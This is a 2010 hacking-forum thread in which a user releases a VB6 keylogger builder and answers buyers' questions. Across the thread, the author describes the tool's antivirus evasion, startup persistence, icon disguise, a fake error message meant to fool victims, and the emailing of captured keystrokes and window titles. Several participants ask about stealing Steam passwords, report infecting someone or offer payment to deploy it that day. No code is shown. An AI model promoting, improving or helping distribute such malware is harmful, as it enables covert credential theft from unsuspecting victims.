Thread: [\[RELEASE\]hackerbug keylogger\(NO .NETFRAMEWORK NEEDED\) \[RELEASE\]](#)

hackerbug - July 9, 2010, 8:22 am

It's my first time making a keylogger, hope that you all like it!

It's made in VB6.

features:

- FUD
- Startup
- Icon changer
- Fake error message
- Time interval(when seeding)
- Get computer name(put the computer name as the subject)

that's for now

because I am currently working with some other features for it.

Fixed it for you. Man, so many spelling mistakes... ?

hackerbug - July 9, 2010, 7:04 pm

? sorry about that!

btw what can you say about my keylogger?

Blazon - July 9, 2010, 7:48 pm

Im wondering if there is a cure you have? So I can test it on my self. And also, once the victim runs it, does it tell me when they run it and that I got a new victim? Or do I have to wait the set amount of minutes for the first log?

m1ss.sana - July 9, 2010, 8:02 pm

Nice Software :-bd keep it up L-)

hackerbug - July 9, 2010, 8:11 pm

@bankrobin3 if you want a cure for it i can make one.

Quote:once the victim runs it, does it tell me when they run it and that I got a new victim?

wow nice idea man

btw you have to wait for the logs interval to receive logs.

PS im gonna work now with your idea that it will tell you that the victim runs your keylogger ^^

@m1ss.sana thanks

Blazon - July 9, 2010, 8:24 pm

Thanks! Looking forward to the update.

Hmm I would fix the GUI in v2 maybe some more options and that idea is pretty sweet but add that in as an option not a standard.

Works sweet but its needs to be cleaner hoping on v2 :]

I'm running Windows 7 (64 bit)
on the first problem dont know why you got that error.

on the second it because you change the icon of the keylogger.exe(the builded keylogger)

to be able to change the icon, please change the icon of the stub first and after that build your keylogger and the output keylogger.exe(builded keylogger) will have desame icon as the stub!

Nope, with internet connection. Look UP - there's exact error screenshot.

Dood, I'll pay you some bucks on paypal if you make it work in abou 1-2 hrs :) I MUST send it to someone today.

hackerbug - July 10, 2010, 3:57 am

sorry i didnt see the image ^^ . . . what account did you use??? is it gmail or not???

? i think its a fake error message

Soocm - July 10, 2010, 4:13 am

Yes its gmail and it's not fake message, I get it every 5 mins - just like it want to send logs but it can't - i still get this error... damn and no mails coming.

I tested gmail before building server and it worked perfect. Plz dude do something :)

Airex - July 10, 2010, 4:55 am

Hi

I am getting the following error on Windows Vista (after my custom error message) :

Title: Project 2

Message: Run Time Error '75':

Path/File access error

Mayb because Windows Vista doesnt allow access to System or Windows folders?

thanks!

hackerbug - July 10, 2010, 9:41 am

yeah, cos it doesnt have UAC bypass yest. it will be included in the version 2 which is much more stable and has new functions!

wooyeah - July 10, 2010, 12:11 pm

FUD - so should my av stop me downloading it?

If not, then surely its not detectable?

Its just im new to all of this so just trying to get info, thanks.

Yes i did,i used it but im getting the error -.-

hackerbug - July 10, 2010, 1:07 pm

now i know whats the cause of the problem. if you wanna change the icon of the keylogger.exe then first change the icon of stub, second build your keylogger.exe then you are done! the icon of your stub will be the icon of your keylogger.exe.

Vexes - July 10, 2010, 1:08 pm

Can you pm me about how i do that? (im new to keyloggers lol)

if you are going to change the icon, just replace the icon of the stub and after that build your keylogger!
and after you have builded your keylogger the icon of you r stub will become similar with your stub!

im working on it, on my v1.1

Zeon - July 11, 2010, 8:09 am

How does it work, seeing as it does not use .net?

hackerbug - July 11, 2010, 8:26 am

its coded in vb6 thats why it doesnt need .net framework!

yonatan12345 - July 11, 2010, 9:11 am

well what you do on your new v whats new? AND I HAVE geustion if im send to someone the keylogger and he opened it and he has steam i wil get hes username and pass?

hackerbug - July 11, 2010, 9:49 am

v1.1 is just an update and some stuff. yes you can get her/his username and password as long as he types it.

as the victims run this keylogger he/she is just like typing in a notepad and it records every key stroke that the victims press.

yonatan12345 - July 11, 2010, 11:02 am

wait 1.1 relese or not ? becuase if you do you can open new post?

hackerbug - July 11, 2010, 11:11 am

im currently working with v1.1 so it will be posted the next few days!

btw have you tried my keylogger??? what you can say about it???

Soocm - July 11, 2010, 4:36 pm

Hackerbug my friend :) I'll help your thread grow up :) ur keylogger is good but mine is better - even though 0 GUI :) I've made so many updates - you will be surprised my Master :)

I've got an issue to work out with you, it's big issue and If we somehow make it - our keyloggers will rule the world :D

used the megaupload download (don't have plunder premium, too lazy to do a quiz) here's the error I got:

Component 'COMDLG32.OCX' or one of its dependencies not correctly registered: a file is missing or invalid

Hope I can get this fixed soon, I really want to test this out :)

hackerbug - July 11, 2010, 10:30 pm

<http://www.#/?d=PATN9XYS> megaupload link!

EDIT: for those who are having problem with COMDLG32.OCX

go to this site http://www.ascentive.com/support/new/support_dll.phtml?dllname=COMDLG32.OCX

hackerbug - July 12, 2010, 12:14 am

the above post of yours is the megaupload link!

Nuttiez - July 12, 2010, 12:19 am

ok so i infected someone, but its only sending the webpage or if they pressed a .exe file? no passwords or anything is this right? otherways its completely useless.

soz for my bad english

hackerbug - July 12, 2010, 12:31 am

when your victim has already run the keylogger its automatically records every key stroke and it also records the name of the window that he/she opened. when you only recieve logs that only contain titles of the window then it means that the user only using mouse click and didnt press any keys!

try to be patient and you will get logs later on after your victims press any keys!

hacker666 - July 12, 2010, 1:07 am

Does it automatically open even if the pc is restarted?

hackerbug - July 12, 2010, 1:18 am

yes it will, because it will install itself in startup!

hacker666 - July 12, 2010, 1:27 am

Thanks for the info :D (too short)

The Error message didnt pop up

hackerbug - July 12, 2010, 2:00 am

cos you are already infected!

btw here's my v1.1 GUI. i just add a cure and changes some codes on it for some reasons!

<https://hackforums.net/showthread.php?tid=536360> - - - this is the link from rate my graphics!

hacker666 - July 12, 2010, 2:03 am

What is the error message for, may i ask?

hackerbug - July 12, 2010, 2:15 am

its a fake error message, that is intended for a victim to make him/her believe that the error is real, so when an error pops up the victim wont suspect it as a keylogger or a virus!

hacker666 - July 12, 2010, 2:18 am

When does the fake error message pops out? and whats with the (!) XD

hackerbug - July 12, 2010, 2:20 am

it will pops up when the victim is not yet infected. in my v1.1 it will pops even the victims is already

infected!

hacker666 - July 12, 2010, 2:23 am

So, will it pop out if the keylogger is opened or when it is downloaded?

Nuttiez - July 12, 2010, 2:33 am

my logs are kinda weird, i don't get it, can i send you a pm with a log file? then u can see what i did wrong

hackerbug - July 12, 2010, 5:13 am

ok send me the logs so that i will know whats wrong!

Dude no offence, it looks great and i cant wait to try it out and give you feedback, but can you uplodaed to a non semi retarded hosting service... dosent help that they force you to do a survey thats fine i have no problem with it, but when they wont let me fucking complete it becuae apparently i have a "invalid name"... that just pisses me off lol...

anyways as far as i can see goodwork bro, and if you could re upload would be sweet, cheers.
